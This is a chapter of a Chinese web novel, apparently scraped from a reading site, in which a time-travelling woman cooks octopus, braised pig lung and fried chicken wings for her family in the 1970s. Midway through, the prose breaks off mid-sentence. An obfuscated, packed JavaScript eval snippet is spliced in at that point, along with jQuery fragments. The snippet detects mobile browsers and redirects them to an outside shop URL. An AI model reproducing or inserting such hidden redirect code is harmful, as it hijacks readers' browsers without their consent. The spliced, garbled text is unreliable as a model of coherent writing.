第39章 猪肉脯

作品:《带着超市到七零卖盒饭

    算了,别想了,她现在手上的东西也不少了,想做糖奶糖等她有了牛奶,可以自己做,水果牛奶糖,花生牛奶糖.....


    到时候想吃多少吃多少。


    今天得先把这个超级大的八爪鱼给处理了,不然海鲜类没有冰箱,八月的天气可经不住放。


    姜小豆把芒果藏到装水果的柜子里,孜然粉放到调料柜里,有了孜然粉姜小豆就可以很多不一样的菜了,特别以后烤鱼烤肉,放点孜然粉进去,那个香啊!能把舌头给吞掉。


    猪肉脯姜小豆也打算做成孜然和蜜汁两种口味,甜的咸的都有,不过猪肉脯她打算等小华他们回来吃了饭之后,让两个男孩子来帮忙。


    要把锤成泥,还是要找两个力气大的来干活。


    猪肺先用清水泡着,要换好几次水呢!要是有自来水,就可以直接在水管里冲,可惜现在条件不允许,只能用这种原始的方法了。


    她现在解决掉这只八爪鱼就好了。


    五斤重的八爪鱼比她的头都大,须子要有两根手指粗了。


    姜小豆先烧热水把八爪鱼烫定型,等下更好切开。


    八爪鱼烫完之后,姜小豆先切了三根须子下来,打算晚上炒一盘当菜吃,其他的打算切成薄片,扮好调料后,放在院子里晒成八爪鱼干,以后用来煮汤或者炒菜,只要提前泡发一下就好。


    八爪鱼晒上之后,姜小豆要开始处理这两个猪肺了。


    换了几次水之后,确定把猪肺清洗干净没有异味了,放在热水里面煮,煮到熟透后,拿出来切成两根手指大的薄片。


    越薄越好,猪肺特别是白白的食管部分,吃起来会特别脆,随便炒一炒都很好吃,不过最好要重口味的,比如辣椒,香糟等味道重的调料。


    这两样姜小豆都没有,只好用传统的卤了。


    猪肺切成片之后,姜小豆就配置了卤料,直接放进去卤。


    姜小豆翻了一下自己装肉的地方,昨天除了牛肉还有五斤鸡中翅呢!


    晚上给它解决掉,姜小豆突然想吃开封菜了。


    那今晚就来一道炸鸡翅吧!


    有了孜然粉,这炸鸡翅肯定就更好吃了,姜小豆把五斤鸡翅全部倒入盆里,洗完,在鸡翅前面各计上两刀,这样腌制的时候更容易入味,而且更快的炸熟炸透。


    盐和孜然粉调味就可以了,再放一些姜丝去腥气。


    好了,等着下锅油炸就好行。


    猪肺卤好了,不管是直接吃,还是用韭菜蒜末回锅再炒一下,都会很美味。


    姜小豆把猪肺捞了起来,两个猪肺生的差不多有十几斤,卤完之后,就剩下一半了。


    不过六斤也是很多,她们家怕是两天都吃不完。


    别人家有一道菜就算不错了,而姜小豆每顿至少是三菜一汤的标准。


    就像今晚,一道整整五斤的炸鸡翅,一道八爪鱼炒豆角,再来一道卤猪肺,还要配上一道青菜,吃太多肉,不吃青菜是不行的。


    再随便做个海带汤清清口。


    她们家就一顿就吃不了这么多猪肺了。


    姜小豆把剩下五斤左右的猪肺分成了四份,一份留着她们明天煮粉条的时候加进去吃。


    一份打算等李同志过来取糕点的时候,带给虎爷他们,不管配饭还是下酒都是很美味的。


    送两份到大伯家去,给他们尝尝。


    好了,这样就把猪肺解决了,这就是没有冰箱的苦恼啊!


    不过也只有姜小豆才能把东西这样的手松的分出去,毕竟姜小豆还有着后世感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14029315|148799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情好的亲戚邻居做了什么好吃都会分享的习惯,要是别人肯定是不可能分的。


    不要说这种加了很多调料的卤猪肺,这都是荤菜,勉强都算的肉了,一颗鸡蛋怕是都不会分享呢!


    把要送到大伯家的猪肺装到大碗里,晚上等小华他们回来,让他们四个人一起去送。


    姜小豆把米饭蒸上,另一个锅要开始炸鸡翅了。


    用面粉调好面糊之后,裹满鸡翅,放到滋滋作响的油中,其实要是淀粉炸会更脆更香,但姜小豆家没有。


    下次让小华多换一点红薯回来,做一点地瓜粉专门用来炸东西吃。


    两大盘的炸鸡翅好了,姜小豆把鸡翅端在一旁等着凉,凉了之后会更酥脆。


    炸鸡翅就不会给大伯家送了,物资怎么来的不好解释,更别提姜小豆用油炸如此奢侈的做法了。


    你别说,油炸的东西就是香啊!


    姜小豆又切了四个西红柿,加了白糖做番茄酱,炸鸡没有沾番茄酱就像少了灵魂一样,当然还有甜辣酱,姜小豆也打算熬一点。


    既然都用油炸了,姜小豆又去切了几个地瓜和一个芋头,全部切成条,这不就是薯条了吗!


    好好好,她总有一天还是会吃上汉堡和烤鸡的。


    薯条炸好,蕃茄酱和甜辣酱也做好,八爪鱼炒个豆角,青菜海鲜都有了。


    再炒一盘白菜,做个海带汤就可以了,卤猪肺混着卤汤倒了一整盘。


    今天的饭菜齐了。


    小华一回来就闻到了房子里面的香味,不管是卤猪肺还是炸鸡这个味道都是香的要命,几人一洗马上就跑到厨房里,帮姜小豆把菜都


    端了出去。


    小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!